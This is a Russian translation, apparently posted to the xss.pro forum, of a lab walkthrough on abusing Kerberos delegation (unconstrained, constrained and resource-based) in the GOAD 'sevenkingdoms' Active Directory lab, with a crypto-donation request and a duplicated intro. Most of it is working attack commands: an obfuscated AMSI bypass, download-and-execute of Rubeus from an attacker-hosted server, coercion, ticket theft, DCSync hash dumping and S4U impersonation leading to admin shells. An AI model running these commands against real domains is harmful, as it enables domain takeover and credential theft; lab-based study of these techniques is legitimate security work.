ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов
В предыдущем посте мы провели несколько атак бокового перемещения на домен.
Теперь давайте попробуем атаки делегирования. Здесь я просто продемонстрирую эксплуатацию, если вы хотите понять концепцию делегирования и пойти дальше, вам следует прочитать следующие статьи, которые действительно потрясающие:
hackndo :
https://en.hackndo.com/constrained-unconstrained-delegation/
https://beta.hackndo.com/unconstrained-delegation-attack/
https://beta.hackndo.com/resource-based-constrained-delegation-attack/
harmj0y:
https://blog.harmj0y.net/activedirectory/s4u2pwnage/
Элад Шамир :
https://eladshamir.com/2019/01/28/Wagging-the-Dog.html
Делегирование
В active directory существует три типа делегирования:
В этой статье блога мы рассмотрим все три типа делегирования.
Неограниченное делегирование
Один из способов найти неограниченное делегирование - посмотреть в bloodhound :
По умолчанию в AD Windows все контроллеры домена настроены с неограниченным делегированием.
Если вы хотите найти систему неограниченного делегирования (вне контроллера домена):
В графическом интерфейсе Windows это выглядит так:
На предыдущем шаге у нас уже есть north DC допустим, мы получили пароль eddard, который пришел в виде открытого текста, когда вы запустили donPapi в Винтерфелле, потому что для этого пользователя есть запланированная задача.
Оттуда обойдем AMSI и запустим Rubeus в памяти (как в части 8) Конечно, мы могли бы остановить антивирус защитника на сервере, но на реальном пентесте вы не хотели бы делать это на своих клиентских серверах.
Подготовьте наш сервер, содержащий Rubeus.exe и наш обход AMSI.
По RDP обойдём AMSI:
Теперь запустим Rubeus с помощью команды execute. Для начала мы перечислим доступные тикеты
А теперь применим Coercer к DC Kingslanding и к DC Winterfell.
Снова смотрим:
И теперь tgt kingslanding наш
Теперь у нас есть TGT контроллера домена. Продолжим на линуксе получим тикет и запустить dcsync с секретным дампом:
Другой способ эксплуатации - сделать ptt с Rubeus и запустить dcsync с Mimikatz, но это подразумевает запуск Mimikatz на Винтерфелле и обход защитника AV.
Если вы не заметили, здесь использовалось злоупотребление неограниченным делегированием для перехода от дочернего домена к родительскому
Примечание: кажется, что Sharphound не фиксирует ограниченное делегирование без перехода протокола в лаборатории.
Найдите все возиожные варианты с помощью impacket :
Чтобы злоупотребить ограниченным делегированием с переходом протокола, необходимо сначала запросить TGT пользователя и выполнить S4U2Self, а затем S4U2Proxy, чтобы выдать себя за пользователя admin в SPN на цели.
Из windows с помощью Rubeus:
Из linux с impacket:
Далее мы можем использовать TGS для подключения к smb и получить оболочку с psexec, smbexec, wmiexec, ...
Полезно знать, что часть SPN не зашифрована в запросе, поэтому вы можете изменить ее на ту, которая вам нужна, с помощью следующих опций:
Списки SPN Carlos Polop (hacktricks), предоставил нам полезный список распространенных SPN и их использования на своей странице silver ticket.
Без перехода протокола
Ограниченное делегирование с переходом протокола изначально не присутствовало в лаборатории, но вы можете добавить его с помощью следующих команд:
В результате в графическом интерфейсе windows появится следующее:
Хороший пример эксплуатации можно найти здесь: https://snovvcrash.rocks/2022/03/06/abusing-kcd-without-protocol-transition.html.
Трюк с self-RBCD больше не работает. Когда я писал эту статью, я много раз безуспешно пробовал selfrbcd. После многочисленных попыток и неудач я спросил Чарли (@_nwodtuhs), что я делаю не так, потому что я не мог понять, почему это не работает так, как ожидалось. Он объяснил мне, что трюк с self rbcd больше не работает и был тихо исправлен Microsoft :'(
Чтобы использовать ограниченное делегирование, нам нужен только TGS с правами администратора для любой службы на castelblack.
Но если мы сделаем s4u (s4u2self + s4u2proxy), как мы делали с переходом протокола, s4uself пошлет нам непересылаемый TGS и атака провалится.
Итак, чтобы использовать и получить нужный нам forwardable TGS, нам сначала нужно добавить компьютер и использовать RBCD между созданным компьютером (rbcd_const$) и компьютером, на котором установлено делегирование (здесь castelblack$). Сделав это, вы можете выполнить s4u2self, а затем s4u2proxy на добавленном компьютере, и в результате вы получите пересылаемый tgs на hots/castelblack$ в качестве администратора. После этого у вас есть пересылаемый тикет для передачи в s4u2proxy, и мы даже можем изменить службу запросов с помощью -altservice
Сделайте s4u2self, а затем s4u2proxy на castelblack (это классическая атака RBCD).
Таж же можно и одной командой
А это s4uProxy с пересылаемым тикетом
После эксплойта немного подчищаем лабу, сбрасываем запись rbcd и удаляем учетную запись компьютера с доменным админом:
Учетная запись компьютера может редактировать свой собственный атрибут msDS-AllowedToActOnBehalfOfOtherIdentity Это полезно, когда вы выполняете ретрансляцию LDAP NTLM, вы можете изменить атрибут и запустить эксплойт RBCD. Пример эксплуатации — когда вы получили genericAll или genericWrite ACL на компьютере можно найти в лаборатории при просмотре списка пользователей
Мы видим, что stannis.baratheon получил Write on kingslanding. Эксплуатация RBCD дополняется следующими командами:
Теперь X (rbcd$) получил разрешение на делегирование нашей цели, теперь выполним запрос s4u2self, за которым следует S4u2proxy, что приведет к получению администратора на Kingslanding.
Чистим лабу после эксплойта:
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов
В предыдущем посте мы провели несколько атак бокового перемещения на домен.
Теперь давайте попробуем атаки делегирования. Здесь я просто продемонстрирую эксплуатацию, если вы хотите понять концепцию делегирования и пойти дальше, вам следует прочитать следующие статьи, которые действительно потрясающие:
hackndo :
https://en.hackndo.com/constrained-unconstrained-delegation/
https://beta.hackndo.com/unconstrained-delegation-attack/
https://beta.hackndo.com/resource-based-constrained-delegation-attack/
harmj0y:
https://blog.harmj0y.net/activedirectory/s4u2pwnage/
Элад Шамир :
https://eladshamir.com/2019/01/28/Wagging-the-Dog.html
Делегирование
В active directory существует три типа делегирования:
- Неограниченное делегирование
- Ограниченное делегирование
- Делегирование на основе ресурсов
В этой статье блога мы рассмотрим все три типа делегирования.
Неограниченное делегирование
Один из способов найти неограниченное делегирование - посмотреть в bloodhound :
Код:
MATCH (c {unconstraineddelegation:true}) return c
По умолчанию в AD Windows все контроллеры домена настроены с неограниченным делегированием.
Если вы хотите найти систему неограниченного делегирования (вне контроллера домена):
Код:
MATCH (c1:Computer)-[:MemberOf*1..]->(g:Group) WHERE g.objectid ENDS WITH '-516' WITH COLLECT(c1.name) AS domainControllers MATCH (c2 {unconstraineddelegation:true}) WHERE NOT c2.name IN domainControllers RETURN c2
Эксплойт
- Самый простой способ использовать неограниченное делегирование — это сделать это из Windows с помощью Rubeus.
- Запускаем RDP-соединение на Винтерфелле.
Код:
xfreerdp /d:north.sevenkingdoms.local /u:eddard.stark /p:'FightP3aceAndHonor!' /v:192.168.56.11 /cert-ignore
На предыдущем шаге у нас уже есть north DC допустим, мы получили пароль eddard, который пришел в виде открытого текста, когда вы запустили donPapi в Винтерфелле, потому что для этого пользователя есть запланированная задача.
Оттуда обойдем AMSI и запустим Rubeus в памяти (как в части 8) Конечно, мы могли бы остановить антивирус защитника на сервере, но на реальном пентесте вы не хотели бы делать это на своих клиентских серверах.
Подготовьте наш сервер, содержащий Rubeus.exe и наш обход AMSI.
Код:
python3 -m http.server 8080
Код:
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');$z=$y.GetValue($null);[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)
(new-object system.net.webclient).downloadstring('http://192.168.56.1:8080/amsi_rmouse.txt')|IEX
Код:
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.56.1:8080/Rubeus.exe')
$assem = [System.Reflection.Assembly]::Load($data);
[Rubeus.Program]::MainString("triage");
А теперь применим Coercer к DC Kingslanding и к DC Winterfell.
Код:
python3 coercer.py -u arya.stark -d north.sevenkingdoms.local -p Needle -t kingslanding.sevenkingdoms.local -l winterfell
Код:
[Rubeus.Program]::MainString("triage")
- Чтобы извлечь его (перезапустите coercer и через 1 секунду запустите следующую команду дампа): (я не знаю, почему, но режим монитора rubeus не хочет запускаться в сборке выполнения)
Код:
[Rubeus.Program]::MainString("dump /user:kingslanding$ /service:krbtgt /nowrap");
Теперь у нас есть TGT контроллера домена. Продолжим на линуксе получим тикет и запустить dcsync с секретным дампом:
- скопируйте тикет без пробела и строки возврата (в vim я делаю: :%s/\s*\n\s*//g)
- преобразовать билет в ccache
- используйте билет kerberos и запустите secretdump
Код:
cat tgt.b64|base64 -d > ticket.kirbi
ticketConverter.py ticket.kirbi ticket.ccache
export KRB5CCNAME=/workspace/unconstrained/ticket.ccache
secretsdump.py -k -no-pass SEVENKINGDOMS.LOCAL/'KINGSLANDING$'@KINGSLANDING
Другой способ эксплуатации - сделать ptt с Rubeus и запустить dcsync с Mimikatz, но это подразумевает запуск Mimikatz на Винтерфелле и обход защитника AV.
Если вы не заметили, здесь использовалось злоупотребление неограниченным делегированием для перехода от дочернего домена к родительскому
Ограниченное делегирование
- Исплозуем Bloodhound :
Код:
MATCH p=(u)-[:AllowedToDelegate]->(c) RETURN p
Примечание: кажется, что Sharphound не фиксирует ограниченное делегирование без перехода протокола в лаборатории.
Найдите все возиожные варианты с помощью impacket :
Код:
findDelegation.py NORTH.SEVENKINGDOMS.LOCAL/arya.stark:Needle -target-domain north.sevenkingdoms.local
Чтобы злоупотребить ограниченным делегированием с переходом протокола, необходимо сначала запросить TGT пользователя и выполнить S4U2Self, а затем S4U2Proxy, чтобы выдать себя за пользователя admin в SPN на цели.
Из windows с помощью Rubeus:
Код:
.\Rubeus.exe asktgt /user:jon.snow /domain:north.sevenkingdoms.local /rc4:B8D76E56E9DAC90539AFF05E3CCB1755
.\Rubeus.exe s4u /ticket:put_the__previous_ticket_here /impersonateuser:administrator /msdsspn:CIFS/winterfell /ptt
Код:
getST.py -spn 'CIFS/winterfell' -impersonate Administrator -dc-ip '192.168.56.11' 'north.sevenkingdoms.local/jon.snow:iknownothing'
Полезно знать, что часть SPN не зашифрована в запросе, поэтому вы можете изменить ее на ту, которая вам нужна, с помощью следующих опций:
Код:
on rubeus : /altservice
on impacket : -altservice
Без перехода протокола
Ограниченное делегирование с переходом протокола изначально не присутствовало в лаборатории, но вы можете добавить его с помощью следующих команд:
Код:
sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook vulnerabilities.yml -l dc02 --tags "data,constrained_delegation_kerb"
[/СODE]
Или вы можете добавить его вручную с помощью команд powershell :
[CODE]
Set-ADComputer -Identity "castelblack$" -ServicePrincipalNames @{Add='HTTP/winterfell.north.sevenkingdoms.local'}
Set-ADComputer -Identity "castelblack$" -Add @{'msDS-AllowedToDelegateTo'=@('HTTP/winterfell.north.sevenkingdoms.local','HTTP/winterfell')}.
В результате в графическом интерфейсе windows появится следующее:
Хороший пример эксплуатации можно найти здесь: https://snovvcrash.rocks/2022/03/06/abusing-kcd-without-protocol-transition.html.
Трюк с self-RBCD больше не работает. Когда я писал эту статью, я много раз безуспешно пробовал selfrbcd. После многочисленных попыток и неудач я спросил Чарли (@_nwodtuhs), что я делаю не так, потому что я не мог понять, почему это не работает так, как ожидалось. Он объяснил мне, что трюк с self rbcd больше не работает и был тихо исправлен Microsoft :'(
Чтобы использовать ограниченное делегирование, нам нужен только TGS с правами администратора для любой службы на castelblack.
Но если мы сделаем s4u (s4u2self + s4u2proxy), как мы делали с переходом протокола, s4uself пошлет нам непересылаемый TGS и атака провалится.
Итак, чтобы использовать и получить нужный нам forwardable TGS, нам сначала нужно добавить компьютер и использовать RBCD между созданным компьютером (rbcd_const$) и компьютером, на котором установлено делегирование (здесь castelblack$). Сделав это, вы можете выполнить s4u2self, а затем s4u2proxy на добавленном компьютере, и в результате вы получите пересылаемый tgs на hots/castelblack$ в качестве администратора. После этого у вас есть пересылаемый тикет для передачи в s4u2proxy, и мы даже можем изменить службу запросов с помощью -altservice
Код:
# add computer X (rbcd_const)
addcomputer.py -computer-name 'rbcd_const$' -computer-pass 'rbcdpass' -dc-host 192.168.56.11 'north.sevenkingdoms.local/arya.stark:Needle'
# add rbcd from X (rbcd_const) to constrained (castelblack)
rbcd.py -delegate-from 'rbcd_const$' -delegate-to 'castelblack$' -dc-ip 192.168.56.11 -action 'write' -hashes ':b52ee55ea1b9fb81de8c4f0064fa9301' north.sevenkingdoms.local/'castelblack$'
Код:
# s4u2self on X (rbcd_const)
getST.py -self -impersonate "administrator" -dc-ip 192.168.56.11 north.sevenkingdoms.local/'rbcd_const$':'rbcdpass'
# s4u2proxy from X (rbcd_const) to constrained (castelblack)
getST.py -impersonate "administrator" -spn "host/castelblack" -additional-ticket 'administrator@rbcd_const$@NORTH.SEVENKINGDOMS.LOCAL.ccache' -dc-ip 192.168.56.11 north.sevenkingdoms.local/'rbcd_const$':'rbcdpass'
Код:
getST.py -spn 'host/castelblack' -impersonate Administrator -dc-ip 192.168.56.11 north.sevenkingdoms.local/'rbcd_const$':'rbcdpass'
Код:
# s4u2proxy from constrained (castelblack) to target (winterfell) - with altservice to change the SPN in use
getST.py -impersonate "administrator" -spn "http/winterfell" -altservice "cifs/winterfell" -additional-ticket 'administrator@host_castelblack@NORTH.SEVENKINGDOMS.LOCAL.ccache' -dc-ip 192.168.56.11 -hashes ':b52ee55ea1b9fb81de8c4f0064fa9301' north.sevenkingdoms.local/'castelblack$'
export KRB5CCNAME=/workspace/administrator@cifs_winterfell@NORTH.SEVENKINGDOMS.LOCAL.ccache
wmiexec.py -k -no-pass north.sevenkingdoms.local/administrator@winterfell
После эксплойта немного подчищаем лабу, сбрасываем запись rbcd и удаляем учетную запись компьютера с доменным админом:
Код:
rbcd.py -delegate-to 'castelblack$' -delegate-from 'rbcd_const$' -dc-ip 192.168.56.11 -action 'flush' -hashes ':b52ee55ea1b9fb81de8c4f0064fa9301' north.sevenkingdoms.local/'castelblack$'
addcomputer.py -computer-name 'rbcd_const$' -computer-pass 'rbcdpass' -dc-host 192.168.56.11 'north.sevenkingdoms.local/eddard.stark:FightP3aceAndHonor!' -delete
Ограниченное делегирование на основе ресурсов
Ограниченным делегированием на основе ресурсов (RBCD) можно использовать когда редактируете атрибут: msDS-AllowedToActOnBehalfOfOtherIdentity.Учетная запись компьютера может редактировать свой собственный атрибут msDS-AllowedToActOnBehalfOfOtherIdentity Это полезно, когда вы выполняете ретрансляцию LDAP NTLM, вы можете изменить атрибут и запустить эксплойт RBCD. Пример эксплуатации — когда вы получили genericAll или genericWrite ACL на компьютере можно найти в лаборатории при просмотре списка пользователей
Мы видим, что stannis.baratheon получил Write on kingslanding. Эксплуатация RBCD дополняется следующими командами:
- Создайте компьютер X (rbcd$)
Код:
addcomputer.py -computer-name 'rbcd$' -computer-pass 'rbcdpass' -dc-host kingslanding.sevenkingdoms.local 'sevenkingdoms.local/stannis.baratheon:Drag0nst0ne'
- Добавить делегирование записи на нашу цель из X (rbcd$)
Код:
rbcd.py -delegate-from 'rbcd$' -delegate-to 'kingslanding$' -dc-ip 'kingslanding.sevenkingdoms.local' -action 'write' sevenkingdoms.local/stannis.baratheon:Drag0nst0ne
Теперь X (rbcd$) получил разрешение на делегирование нашей цели, теперь выполним запрос s4u2self, за которым следует S4u2proxy, что приведет к получению администратора на Kingslanding.
Код:
getST.py -spn 'cifs/kingslanding.sevenkingdoms.local' -impersonate Administrator -dc-ip 'kingslanding.sevenkingdoms.local' 'sevenkingdoms.local/rbcd$:rbcdpass'
export KRB5CCNAME=/workspace/rbcd/Administrator@cifs_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache
wmiexec.py -k -no-pass @kingslanding.sevenkingdoms.local
Чистим лабу после эксплойта:
Код:
rbcd.py -delegate-from 'rbcd$' -delegate-to 'kingslanding$' -dc-ip 'kingslanding.sevenkingdoms.local' -action 'flush' sevenkingdoms.local/stannis.baratheon:Drag0nst0ne
addcomputer.py -computer-name 'rbcd$' -computer-pass 'rbcdpass' -dc-host kingslanding.sevenkingdoms.local 'sevenkingdoms.local/cersei.lannister:il0vejaime' -delete
Ресурсы для дальнейшего развития
- https://www.thehacker.recipes/ad/movement/kerberos/delegations
- https://www.notsoshant.io/blog/attacking-kerberos-constrained-delegation/
- https://sensepost.com/blog/2020/chaining-multiple-techniques-and-tools-for-domain-takeover-using-rbcd/
- https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse
- https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/delegation-abuse
- И я рекомендую вам взглянуть на выступление Чарли о делегировании: https://www.thehacker.recipes/ad/movement/kerberos/delegations#talk